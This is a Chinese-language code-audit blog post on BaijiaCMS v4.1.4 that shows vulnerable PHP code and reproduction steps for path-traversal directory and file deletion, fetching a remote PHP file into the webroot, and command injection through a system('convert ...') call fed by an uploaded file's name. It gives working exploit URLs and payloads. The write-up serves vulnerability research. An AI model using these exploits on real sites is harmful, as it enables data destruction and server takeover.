百家CMS v4.1.4代码审计
blckder02 WEB安全 5364浏览 · 2021-08-06 09:39

环境搭建

源码下载:https://gitee.com/openbaijia/baijiacms.git
放入PHPstudy,建一个baijiacms的数据库,访问进行安装,设置管理员用户和密码为admin、admin;

审计准备

查看网站目录结构

Seay源代码审计系统扫描

任意路径删除

代码分析

点进这个漏洞查看代码;

/includes/baijiacms/common.inc.php
(520-547):

function rmdirs($path='',$isdir=false)
{
        if(is_dir($path))
        {
                $file_list= scandir($path);
                foreach ($file_list as $file)
                {
                    if( $file!='.' && $file!='..')
                    {
                        if($file!='qrcode')
                        {
                        rmdirs($path.'/'.$file,true);
                      }
                    }
                }

            if($path!=WEB_ROOT.'/cache/')
            {
                @rmdir($path);   

          }    
        }
        else
        {
            @unlink($path); 
        }

}

绕过$path是路径,就删除这个路径,是文件就删除这个文件;
全局搜索rmdirs,发现/system/menager/class/web/database.php调用了这个函数(246-255):

if($operation=='delete')
 {
        $d = base64_decode($_GP['id']);

            $path = WEB_ROOT . '/config/data_backup/';
        if(is_dir($path . $d)) {
            rmdirs($path . $d);
            message('备份删除成功!', create_url('site', array('act' => 'manager','do' => 'database','op'=>'restore')),'success');
        }
}

功能是删除备份文件,但是只判断是否为路径,并没有验证是什么路径,所以可以抓包修改为任意路径,从而删除任意路径下的文件;

漏洞复现

再根目录下建一个test文件夹,进入后台备份与还原页面,点击删除,抓包;
将id的内容修改为要删除的test文件夹的路径../../test的base64编码Li4vLi4vdGVzdA==,Go,删除成功;
## 任意文件删除

代码分析

/system/eshop/core/mobile/util/uploader.php
(46-50):

elseif ($operation == 'remove') {
    $file = $_GPC['file'];
    file_delete($file);
    show_json(1);
}

获取到$file参数,调用file_delete函数,跟踪到/includes/baijiacms/common.inc.php(695-734):

function file_delete($file_relative_path) {

    if(empty($file_relative_path)) {
        return true;
    }

    $settings=globaSystemSetting();
    if(!empty($settings['system_isnetattach']))
        {
                if($settings['system_isnetattach']==1)
        {
        require_once(WEB_ROOT.'/includes/lib/lib_ftp.php');
            $ftp=new baijiacms_ftp();
        if (true === $ftp->connect()) {
            if ($ftp->ftp_delete($settings['system_ftp_ftproot']. $file_relative_path)) {
                return true;
            } else {
                return false;
            }
        } else {
            return false;
        }
    } 
        if($settings['system_isnetattach']==1)
        {
        require_once(WEB_ROOT.'/includes/lib/lib_oss.php');
        $oss=new baijiacms_oss();
        $oss->deletefile($file_relative_path);
        return true;
    }
}else
{
        if (is_file(SYSTEM_WEBROOT . '/attachment/' . $file_relative_path)) {
        unlink(SYSTEM_WEBROOT . '/attachment/' . $file_relative_path);
        return true;
    }

    }
    return true;
}

$settings['system_isnetattach']是附件设置页面中的远程附件选择,有本地、FTP、OSS,我选择的是本地;
直接到达最后一个else,进行if_file判断,然后执行unlink删除文件;

漏洞复现

在根目录下建一个test.txt,构造url访问:
http://127.0.0.1/baijiacms/index.php?mod=mobile&act=uploader&op=post&do=util&m=eshop&op=remove&file=../test.txt
成功删除;

远程文件上传

代码分析

/system/public/class/web/file.php
(18-26):

if ($do == 'fetch') {
    $url = trim($_GPC['url']);
$file=fetch_net_file_upload($url);
    if (is_error($file)) {
        $result['message'] = $file['message'];
        die(json_encode($result));
    }

}

传入url,调用fetch_net_file_upload()函数,跟踪到/includes/baijiacms/common.inc.php(613-616):

function fetch_net_file_upload($url) {
    $url = trim($url);


    $extention = pathinfo($url,PATHINFO_EXTENSION );
    $path = '/attachment/';
    $extpath="{$extention}/" . date('Y/m/');

        mkdirs(WEB_ROOT . $path . $extpath);
        do {
            $filename = random(15) . ".{$extention}";
        } while(is_file(SYSTEM_WEBROOT . $path . $extpath. $filename));



    $file_tmp_name = SYSTEM_WEBROOT . $path . $extpath. $filename;
        $file_relative_path = $extpath. $filename;
    if (file_put_contents($file_tmp_name, file_get_contents($url)) == false) {
        $result['message'] = '提取失败.';
        return $result;
    }
        $file_full_path = WEB_ROOT .$path . $extpath. $filename;
    return file_save($file_tmp_name,$filename,$extention,$file_full_path,$file_relative_path);
}

pathinfo把文件路径以数组形式返回,且只返回extension,即扩展名;
路径拼接年月,创建路径;随机数和扩展名拼接为文件名;
将读取的文件写入拼接生成的路径下,最后,返回路径信息;

漏洞复现

在远程服务器上建一个test.php,内容是<?php echo "<?php phpinfo();";
构造url:
http://127.0.0.1/baijiacms/index.php?mod=web&do=file&m=public&op=fetch&url=http://远程IP/test.php
访问获得写入的路径;
访问该路径,写入成功;

远程命令执行

代码分析

/system/weixin/class/web/setting.php
(20-40):

$extention = pathinfo($file['name'], PATHINFO_EXTENSION);
        $extention=strtolower($extention);
    if($extention=='txt')
    {
               $substr=substr($_SERVER['PHP_SELF'], 0, strrpos($_SERVER['PHP_SELF'], '/'));
               if(empty( $substr))
               {
                $substr="/";    
               }
           $verify_root= substr(WEB_ROOT."/",0, strrpos(WEB_ROOT."/", $substr))."/";

        //file_save($file['tmp_name'],$file['name'],$extention,$verify_root.$file['name'],$verify_root.$file['name'],false);
                file_save($file['tmp_name'],$file['name'],$extention,WEB_ROOT."/".$file['name'],WEB_ROOT."/".$file['name'],false);

                if($verify_root!=WEB_ROOT."/")
                {
                    copy(WEB_ROOT."/".$file['name'],$verify_root."/".$file['name']);
                }

         $cfg['weixin_hasverify']=$file['name'];
    }

也是pathinfo获取扩展名,进行判断,调用file_save函数,跟踪到/includes/baijiacms/common.inc.pphp(637-655):

function file_save($file_tmp_name,$filename,$extention,$file_full_path,$file_relative_path,$allownet=true)
{

    $settings=globaSystemSetting();

        if(!file_move($file_tmp_name, $file_full_path)) {
            return error(-1, '保存上传文件失败');
        }
        if(!empty($settings['image_compress_openscale']))
        {

            $scal=$settings['image_compress_scale'];
            $quality_command='';
            if(intval($scal)>0)
            {
                $quality_command=' -quality '.intval($scal);
            }
                system('convert'.$quality_command.' '.$file_full_path.' '.$file_full_path);
        }
    .....
    .....
}

$settings['image_compress_openscale']即附件设置页面的是否开启图片压缩功能;
经过判断后,system执行上传的文件,导致RCE;

漏洞复现

本地创建一个名称为命令的txt文件;
找到上传页面进行上传,提交;
执行成功;

1 条评论
某人
表情
可输入 255
Tajang
2021-08-09 07:06 0 回复

棒!